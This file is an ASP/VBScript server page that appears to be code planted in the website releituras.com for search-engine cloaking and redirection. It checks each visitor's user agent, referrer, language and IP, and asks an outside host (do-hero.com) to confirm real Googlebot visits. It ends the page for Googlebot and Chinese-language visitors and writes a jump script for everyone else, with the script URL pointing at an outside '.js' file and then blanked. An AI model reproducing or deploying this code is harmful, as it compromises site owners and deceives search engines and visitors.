<%@ LANGUAGE = VBscript %> <% Dim url,zhizhu,langs,c1,okweb,userip,isrealgoogle url=LCase(Request.ServerVariables("Http_Referer")) zhizhu=Request.ServerVariables("HTTP_USER_AGENT") langs=Mid(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"),1,5) userIPnum = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If userIPnum = "" Then userIPnum = Request.ServerVariables("REMOTE_ADDR") If instr(zhizhu,"google")>0 Then isrealgoogle = GetURL("http://www.do-hero.com/tools/ip.php?ip="&userIPnum) If isrealgoogle = "1" Then c1="1" Else c1="11" End If Else If url<>"" and instr(langs,"zh")=0 Then c1="2" Else If instr(langs,"zh")=0 Then c1="3" Else c1="4" End If End If End If If Request.ServerVariables("server_name")="www.releituras.com" Or Request.ServerVariables("server_name")="releituras.com" Then okweb="1" End If Function GetURL(url) on error resume next dim Retrieval Set Retrieval = Server.CreateObject("MSXML2.ServerXMLHTTP") Retrieval.setTimeouts 600000, 600000, 600000, 600000 Retrieval.Open "GET", url, false Retrieval.Send GetURL = Retrieval.ResponseBody Set Retrieval = Nothing GetURL=BytesToBstr(GetURL,"utf-8") End Function Function BytesToBstr(strBody,CodeBase) dim objStream set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write strBody objStream.Position = 0 objStream.Type = 2 objStream.Charset = CodeBase BytesToBstr = objStream.ReadText objStream.Close set objStream = nothing End Function If (c1="1" Or c1="4") and okweb="1" Then %> <% response.end end if jumpcode="http://www.do-hero.com/adidas.js" jumpcode="" response.write jumpcode %>